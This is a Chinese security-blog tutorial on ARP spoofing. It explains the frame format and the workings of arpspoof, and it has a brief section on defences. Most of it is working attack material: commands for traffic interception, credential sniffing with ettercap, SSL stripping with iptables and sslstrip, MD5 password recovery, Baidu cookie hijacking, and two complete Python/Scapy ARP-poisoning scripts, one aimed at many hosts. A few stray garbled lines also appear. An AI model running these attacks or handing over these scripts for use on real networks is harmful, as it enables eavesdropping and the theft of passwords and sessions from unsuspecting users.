ARP欺骗常见姿势及多机ARP欺骗

2019-08-28 84231人围观 ,发现 4 个不明物体 网络安全

严正声明:本文提供的程序或者方法可能带有攻击性,仅供安全研究与教学之用,如将其信息做其他用途,由读者自己承担全部法律及连带责任,作者不承担任何法律及连带责任。

0×00 前言

ARP欺骗是一个老生常谈的话题,翻看各位师傅的文章,大多数都是在使用arpspoof(当然,同样看到过使用Python写一款类似的工具的文章)进行单机欺骗。本文的目的在于总结ARP欺骗原理、常见姿势以及实现多机ARP欺骗。

0×01 ARP帧格式

DST SRC 长度或类型 硬件类型 协议类型 硬件大小 协议大小 Op 发送方的硬件地址(MAC地址) 发送方的协议地址(IPv4) 目的硬件地址(MAC地址) 目的协议地址(IPv4) 填充(不按比例) FCS
6 6 2 2 2 1 1 2 6 4 6 4 18 4

DST、SRC、长度或类型。

这三个字段是以太网头部

DST(6):目的以太网地址。当该帧为ARP请求时,DST为ff:ff:ff:ff:ff:ff(即6个字节全部为1)。

SRC(6):源以太网地址。

长度或类型(2):对于ARP帧来说,该字段固定,0×0806。

硬件类型、协议类型、硬件大小、协议大小、Op、发送方的硬件地址(MAC地址)、发送方的协议地址(IPv4)、目的硬件地址(MAC地址)、目的协议地址(IPv4)

ARP请求或应答,针对IPv4地址映射到MAC地址

硬件类型、协议类型、硬件大小、协议大小(决定了最后4个字段的类型和大小,硬件大小与协议大小的单位均为Byte): 对于以太网和IPv4来说,这4个字段分别是1、0×0800、6、4。

Op:指出该帧的类型。ARP请求(值为1)、ARP应答(值为2)、RARP请求(值为3)、RARP应答(值为4)。

发送方的硬件地址(MAC地址)、发送方的协议地址(IPv4)、目的硬件地址(MAC地址)、目的协议地址(IPv4):这4个字段无须解释。需要注意的是,ARP请求帧中目的硬件地址全为0。

进入Python3解释器环境,输入下面的命令来查看一下ARP帧格式:

>>> from scapy.all import *
>>> ls(ARP)

输出信息如下:

hwtype     : XShortField                         = (1)
ptype      : XShortEnumField                     = (2048)
hwlen      : FieldLenField                       = (None)
plen       : FieldLenField                       = (None)
op         : ShortEnumField                      = (1)
hwsrc      : MultipleTypeField                   = (None)
psrc       : MultipleTypeField                   = (None)
hwdst      : MultipleTypeField                   = (None)
pdst       : MultipleTypeField                   = (None)

Wireshark抓包,过滤规则arp.opcode==1即ARP请求帧:

arp_request(马赛克).png

过滤规则arp.opcode==2即ARP应答帧:

arp_reply(马赛克).png

0×02 ARP欺骗原理

一开始使用“手绘”,可是图片委实太丑,于是放弃。谢谢年华师傅推荐的在线作图网站。

正常情况下的ARP请求与应答:

ARP_normal.png

PC2广播ARP请求,询问IP地址为192.168.3.2的主机的MAC地址。 PC1收到广播帧,发出ARP应答,告诉PC2自己是192.168.3.2,MAC地址是aa:aa:aa:aa:aa:aa。

单向ARP欺骗:

· 1 12232132332

1 12232132332

1 12232132332

1 12232132332

ARP_Attack(单向).png

PC1广播ARP请求,询问IP地址为192.168.3.1的主机的MAC地址。 PC3收到广播帧,发出ARP应答,告诉PC1自己是192.168.3.1,MAC地址是cc:cc:cc:cc:cc:cc。(这之后,PC1发给PC2的所有流量都会发给PC3)

双向ARP欺骗:

纸不够大,就没有画图,可以参照上面单向ARP欺骗的图。。。

PC1广播ARP请求,询问IP地址为192.168.3.1的主机的MAC地址。 PC3收到PC1的广播帧,发出ARP应答,告诉PC1自己是192.168.3.1,MAC地址是cc:cc:cc:cc:cc:cc。(这之后,PC1发给PC2的所有流量都会发给PC3) PC2广播ARP请求,询问IP地址为192.168.3.2的主机的MAC地址。 PC3收到PC2的广播帧,发出ARP应答,告诉PC1自己是192.168.3.2,MAC地址是cc:cc:cc:cc:cc:cc。(这之后,PC2发给PC1的所有流量都会发给PC3)

0×03 arpspoof浅析

笔者电脑的系统是Ubuntu 16.04,需要先安装dsniff(arpspoof是dsniff的一个组件):

sudo apt install dsniff

查看一下arpspoof的参数:

Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

i参数:用来指定网卡名称,可以使用ifconfig命令来查看网卡名称。

c参数:用来恢复受害者主机的ARP缓存表。详情见下文。

t参数:用来指定目标主机即受害者IP。

host:将要伪装的主机IP。

r参数:使用该选项代表双向欺骗。

3.1 使用arpspoof进行欺骗

起初使用某为的无线路由器进行测试,发现无论是使用arpspoof还是自己编写的脚本都无效,让我有种怀疑“人生”的感觉;之后使用某Link的无线路由器再次测试,成功。这里不得不称赞一下某为的无线路由器。

下面图片的打码可能会影响阅读,所以提前说明三台主机的MAC地址:

attacker:C4:XX:XX:XX:XX:D9

网关:B8:XX:XX:XX:XX:59

受害者:F0:XX:XX:XX:XX:D3

本机即attacker的IP及MAC地址:

attacker_ip.png

测试的网络环境中存活主机:

网络环境.png

其中IP地址为192.168.0.1的主机是网关即无线路由器,IP地址为192.168.0.110的主机是受害者。先来进行单向欺骗(root环境下):

arpspoof -i wlo1 -t 192.168.0.110 192.168.0.1

没有欺骗之前受害者的ARP缓存表:

未欺骗.png

单向欺骗之后受害者的ARP缓存表:

欺骗后.png

进行双向欺骗,可以从attacker发送帧的情况中看出。单向欺骗时:

单向欺骗.png

这时attacker只“告诉”192.168.0.110自己是192.168.0.1。双向欺骗时:

 arpspoof -i wlo1 -t 192.168.0.110 -r 192.168.0.1

双向欺骗.png

这时attacker不仅“告诉”192.168.0.110自己是192.168.0.1,同时“告诉”192.168.0.1自己是192.168.0.110。

3.2 arpspoof的-c参数

经过一番“艰难”的研究之后,终于大致地搞明白了这个参数的作用。源码没有细看(主要是看不懂),如有错误,还望指正。

arpspoof -i wlo1 -c own -t 192.168.0.110 192.168.0.1

如果-c参数为own,在退出时使用本机MAC地址作为以太网头部的SRC发送给受害者主机以恢复其ARP缓存表,即告诉受害者主机正确的网关MAC地址。

c_own_0.png

从抓到的数据包中也可以看出:

c_own_3.png

上面这个数据包是在使用arpspoof进行ARP欺骗时抓到的,以太网头部的SRC是attacker的MAC地址,ARP帧中发送方的MAC地址也是attacker的MAC地址。

c_own_1.png

这个包是在Cleaning up and re-arping targets...时抓到的,注意这时以太网头部的SRC是attacker的MAC地址,而ARP帧中发送方的MAC地址已经变为网关的MAC地址了,而不再是attacker的MAC地址。

arpspoof -i wlo1 -c host -t 192.168.0.110 192.168.0.1

如果-c参数为host,在退出时使用网关MAC地址作为以太网头部的SRC发送给受害者主机以恢复其ARP缓存表。

c_host_0.png

c_host_1.png

将上面这个包与-c参数为own时抓到的包对比来看,可以看出该包中以太网头部的SRC与ARP帧中发送方MAC地址一致,都是网关的MAC地址。

-c参数为own或者为host时,都是发送5次数据包:

c_own_2.png

c_host_2.png

-c参数为both时,会发送10次数据包(ownhost各5次)。

这个可以从源码中一探究竟:

    if (!cleanup_src || strcmp(cleanup_src, "own")==0) { /* default! */
    cleanup_src_own = 1;
    cleanup_src_host = 0;
    } else if (strcmp(cleanup_src, "host")==0) {
    cleanup_src_own = 0;
    cleanup_src_host = 1;
    } else if (strcmp(cleanup_src, "both")==0) {
    cleanup_src_own = 1;
    cleanup_src_host = 1;
    } else {
    errx(1, "Invalid parameter to -c: use 'own' (default), 'host' or 'both'.");
    usage();
    }

当选择own(没有这一参数即默认选择own)时,cleanup_src_own = 1;当选择host时,cleanup_src_host = 1;当选择both时,两者均为1 ;而其他的选项则会显示出错信息。

    cleanup(int sig)
    {
        int fw = arp_find(spoof.ip, &spoof.mac);
        int bw = poison_reverse && targets[0].ip && arp_find_all();
        int i;
        int rounds = (cleanup_src_own*5 + cleanup_src_host*5);
        fprintf(stderr, "Cleaning up and re-arping targets...\n");
        for (i = 0; i < rounds; i++) {
            struct host *target = targets;
            while(target->ip) {
                uint8_t *src_ha = NULL;
                if (cleanup_src_own && (i%2 || !cleanup_src_host)) {
                    src_ha = my_ha;
                }
                if (fw) {
                    arp_send(l, ARPOP_REPLY,
                         (u_int8_t *)&spoof.mac, spoof.ip,
                         (target->ip ? (u_int8_t *)&target->mac : brd_ha),
                         target->ip,
                         src_ha);
                    sleep(1);
                }
                if (bw) {
                    arp_send(l, ARPOP_REPLY,
                         (u_int8_t *)&target->mac, target->ip,
                         (u_int8_t *)&spoof.mac,
                         spoof.ip,
                         src_ha);
                    sleep(1);
                }
                target++;
            }
        }
        exit(0);
    }

上述的 cleanup_src_owncleanup_src_host的取值决定了该函数中int rounds = (cleanup_src_own*5 + cleanup_src_host*5)的计算结果,进而决定下面的for循环次数即发送数据包的次数。但是为什么要选择5次,这个就不得而知了。。。

0×04 常见利用姿势

4.1 (First)开启路由转发

上述的单向或者双向欺骗都只能造成受害者主机断网(可以见下图),若断网引起对方警觉,这样就“尴尬”了。

ping百度.png

第一个PING命令是我在实施双向欺骗之后进行的,第二个PING命令是在正常情况下进行的。

所以,需要在attacker主机上开启路由转发功能,这样双方的流量都可以正常通过,而不是遭遇“堵塞”。

echo 1 > /proc/sys/net/ipv4/ip_forward

0代表没有开启,1代表开启 。永久开启的方法可以参考这篇文章 。如果不觉得麻烦的话,也可以去相应路径下找到文件然后修改。。。

路由转发.png

4.2 driftnet获取图片记录

在开启了路由转发的前提下,使用arpspoof进行双向欺骗

 arpspoof -i wlo1 -t 192.168.0.110 -r 192.168.0.1

之后打开另一终端(root权限下)使用driftnet或者driftnet -i wlo1命令(不使用-i参数指定interface的话默认是全部interface)获取图片记录(如果没有安装的话,apt install driftnet安装即可):

driftnet_1.png

driftnet.png

前者是我在受害者主机上搜索“超级马里奥”,后者是driftnet获取到的图片。

driftnet的help信息中有这样一句话:

driftnet_help.png

当你在单击driftnet窗口中的某张图片时,会保存到当前目录:

driftnet_save.png

从命名方式可以看出来,我单击了7张图片,Home目录下就保存了7张图片。

涉及到保存图片的参数有4个:

-a:Adjunct mode(附加模式)。不在窗口中显示图片,而是保存到一个临时目录下,并在终端输出其路径。

-m number:Adjunct mode下,在临时目录中最多保存的图片数量(但似乎并没有什么卵用)。 -d directory:指定保存的临时目录名。指定时该目录是已经存在的,否则会报错(可以见下面第3张图片);如果不指定,目录名会随机生成。 -x prefix:指定保存图片的前缀,与-a参数同时使用时该参数无效。

006aC3LYly1g4lutleh65j30k608et98.jpg

上图中drifnet-xxxxxx目录就是保存图片的临时目录。在使用-a参数时,如果出现如下错误提示:

rm_pid.png

使用rm /tmp/driftnet.pid命令将/tmp/driftnet.pid删除即可。

driftnet_a_m.png

从上图可以看到-d参数指定目录不存在时给出的错误信息,而-x参数与-a参数同时使用被忽略了。下图是使用driftnet -x ddd命令-x参数起作用时的效果:

driftnet_x.png

4.3 ettercap嗅探HTTP网站帐号密码

ettercap是个“神器”,本文重点不在于此,故不去详细介绍。

开启路由转发、arpspoof双向欺骗不多赘述,一切就绪之后,另一终端下使用如下命令:

 ettercap -Tq -i wlo1

T代表命令行界面而非GUI显示,q代表不显示数据包内容,i指定监听网卡。

ettercap.png

4.4 sslstrip+dns2proxy_hsts嗅探HTTPS网站帐号密码

先把工具的链接奉上:

sslstrip:Kali下自带;如果是其他Linux版本,使用sudo apt install sslstrip命令安装即可。

sslstrip2 :作者因为某些原因删掉了原来的代码,这是我在另一处找到的。(你也可以选择使用sslstrip)

dns2proxy_hsts

嗅探HTTPS网站的帐号密码的思想就是将HTTPS降成HTTP,之后再嗅探HTTP网站的帐号密码。

首先,在attacker本机上进行端口映射(有关iptables的知识可以参考这篇文章 ,本文重点不在于iptables):

 iptables --flush
 iptables --flush -t nat
 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8888
 iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53

前2条命令是在做清理工作,后2条命令才是进行端口映射。之后到dns2proxy_hsts目录下,执行(如果它依赖的dns库没有安装的话,使用sudo pip install dnspython安装即可):

python2 dns2proxy.py

Then,打开另一终端:

sslstrip -l 8888 -a

准备工作就绪后,使用arpspoof进行双向欺骗。

最后,使用tail命令持续刷新显示sslstrip.log文件的新内容:

tail -f sslstrip.log

下面是一组图片,有图有真相。

1905_1.png

这是某网站的登录入口。正常打开该网站的登录界面时:

1905_0.png

执行完上面的操作后,再次打开该页面:

1905.png

可以看到“小锁”标志已经变成了“不安全”,这一点通常没有人去注意,而且该网站的首页在打开时就有一个“不安全”的标志,所以为其提供了更好的隐蔽性。我输入之前为了测试注册的帐号与密码,登录成功:

1905_2.png

现在来看看attacker电脑上嗅探到的密码:

1905_3.png

帐号明文传输,密码经过前端加密后传输,后面的seccode是URL编码后传输的验证码,_=后面的一串数字含义不明但每次都不变。

嗅探到帐号和密码,目的已经达到,虽然密码经过了前端加密而不是明文传输。。。

但是不获取到它的明文内容怎能罢休??

仔细瞅了瞅这个网站,发现了这个东东:

1905_5.png

MD5加密无疑了,解密即可(不会JS,所以没看md5.min.js这个文件):

1905_4.png

密码与之前登录时输入的密码一致。

4.5 WIreshark+Cookie Hacker劫持Cookie

谢谢余弦师傅的Cookie Hacker

受害者主机上打开百度贴吧,并登录:

tieba_0.png

arpspoof双向欺骗就不用再强调了,之后打开WIreshark,过滤规则http.cookie,可以看到好多,点开其中的一个:

tieba_3.png

复制Cookie为纯文本,到Cookie Hacker中:

tieba_4.png

在点击Inject Cookies之前,我的百度贴吧是未登录状态:

tieba_1.png

点击Inject Cookies之后,并刷新页面,登录成功:

tieba_0.png

用该Cookie登录百度官网也是可以的:

tieba_2.png

0×05 使用Python编写一款类似arpspoof的工具

#!/usr/bin/python

from scapy.all import *
import argparse

def main(interface,t1_ip,t2_ip):
    local_mac=get_if_hwaddr(interface) #本机MAC地址
    t1_mac=getmacbyip(t1_ip) #Target1MAC地址
    t2_mac=getmacbyip(t2_ip) #Target2MAC地址

    t1_packet=Ether(src=local_mac,dst=t1_mac)/\
            ARP(hwsrc=local_mac,psrc=t2_ip,hwdst=t1_mac,pdst=t1_ip,op=2)
           #构造ARP帧,告诉Target1:Target2的MAC地址是本机MAC
    t2_packet=Ether(src=local_mac,dst=t2_mac)/\
            ARP(hwsrc=local_mac,psrc=t1_ip,hwdst=t2_mac,pdst=t2_ip,op=2)
           #构造ARP帧,告诉Target2:Target1的MAC地址是本机MAC
    while True:
        sendp(t1_packet,iface=interface,inter=1)
        print("Telling \033[1;33m%s\033[0m \033[1;36m%s\033[0m is at %s"%(t1_ip,t2_ip,local_mac))

        sendp(t2_packet,iface=interface,inter=1)
        print("Telling \033[1;33m%s\033[0m \033[1;36m%s\033[0m is at %s"%(t2_ip,t1_ip,local_mac))

if __name__ == '__main__':
    parser=argparse.ArgumentParser()
    parser.add_argument('-i',help='Interface')
    parser.add_argument('-t',help='Target1 ip')
    parser.add_argument('-g',help='Target2 ip')
    args=parser.parse_args()
    if args.i and args.t and args.g:
        main(args.i,args.t,args.g)
    else:
        print("\033[1;31mPlease enter the correct parameters.\033[0m")

效果图:

script_0.png

0x06 使用Python编写脚本进行多机欺骗

#!/usr/bin/python

from scapy.all import *
import argparse
import threading
from queue import Queue

interface=''
t2_ip=''
target_queue=Queue()

class MyThread(threading.Thread):
    def __init__(self,func,args):
        threading.Thread.__init__(self)
        self.func=func
        self.args=args
    def run(self):
        self.func(self.args)

def main(t1_ip):
    global interface
    global t2_ip
    local_mac=get_if_hwaddr(interface)
    t2_mac=getmacbyip(t2_ip)
    while not target_queue.empty():
        t1_ip=target_queue.get(True,3)
        t1_mac=getmacbyip(t1_ip)
        t1_packet=Ether(src=local_mac,dst=t1_mac)/\
            ARP(hwsrc=local_mac,psrc=t2_ip,hwdst=t1_mac,pdst=t1_ip,op=2)
        t2_packet=Ether(src=local_mac,dst=t2_mac)/\
           ARP(hwsrc=local_mac,psrc=t1_ip,hwdst=t2_mac,pdst=t2_ip,op=2)
        while True:
            sendp(t1_packet,iface=interface,inter=1)
            print("Telling \033[1;33m%s\033[0m \033[1;36m%s\033[0m is at %s"%(t1_ip,t2_ip,local_mac))
            sendp(t2_packet,iface=interface,inter=1)
            print("Telling \033[1;33m%s\033[0m \033[1;36m%s\033[0m is at %s"%(t2_ip,t1_ip,local_mac))

def list_process(list_file):
    with open(list_file) as f:
        for ip in f.readlines():
            target_queue.put(ip)

if __name__ == '__main__':
    parser=argparse.ArgumentParser()
    parser.add_argument('-i',help='Interface')
    parser.add_argument('-l',help='Target1_ip list')
    parser.add_argument('-g',help='Target2 ip')
    args=parser.parse_args()
    if args.i and args.l and args.g:
        target_threads=[]
        interface=args.i
        t2_ip=args.g
        list_process(args.l)
        for i in range(10):
            t=MyThread(main,target_queue)
            target_threads.append(t)
        for i in range(10):
            target_threads[i].start()
        for i in range(10):
            target_threads[i].join()
    else:
        print("\033[1;31mPlease enter the correct parameters.\033[0m")

-l后面跟的是目标IP列表文件的名称,such as:python2 arp_attack_thread.py -l 1.txt -g 192.168.0.1 -i wlo1

效果图:

arp_script(thread).png

如果欺骗主机数量过多,而本机性能有些吃力的话,就变成了DDoS。

0×07 ARP欺骗常见防御方法及溯源

在清楚了ARP欺骗的原理之后,防御手段主要从两个方面出发:

阻断伪造数据包的传播

受害者不接受伪造数据包

7.1 阻断伪造数据包的传播

该方法主要是从交换机或者路由器等网络设备的角度出发。

以交换机为例,将交换机的端口、MAC地址、IP地址三者绑定,生成DAI(Dynamic ARP Inspection)检测表。如果某个端口的主机发送了与它在DAI表中的条目不相符的数据包,可以选择令其断网或者丢弃其发送的数据包。

7.2 受害者不接受伪造数据包

该方法主要是从用户的角度出发。

首先,不要随便接入陌生的网络是一定的。其次,用户可以在设备上安装ARP防火墙。如果是技术人员,可以选择建立静态ARP条目(适用于不会经常变动且数量较少的网络环境),Windonws用户使用命令arp -s ip地址 mac地址来进行静态绑定。

7.3 溯源

被攻击了要找到源头,总不能不明不白地“死”掉。

还是以交换机为例。查看被欺骗主机的ARP缓存表,查看网关IP的MAC地址,之后到交换机上去查看对应该MAC的端口,就可以找到对应的“幕后黑手”了。

0×08 参考文章及延伸

如何揪出“内鬼”并“优雅的还手”

https://zh.wikipedia.org/wiki/ARP%E6%AC%BA%E9%A8%99(里面提到了ARP的正当用途)

企业ARP欺骗分析及防御:不同网段欺骗分析及对策

*本文作者:ERFZE,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

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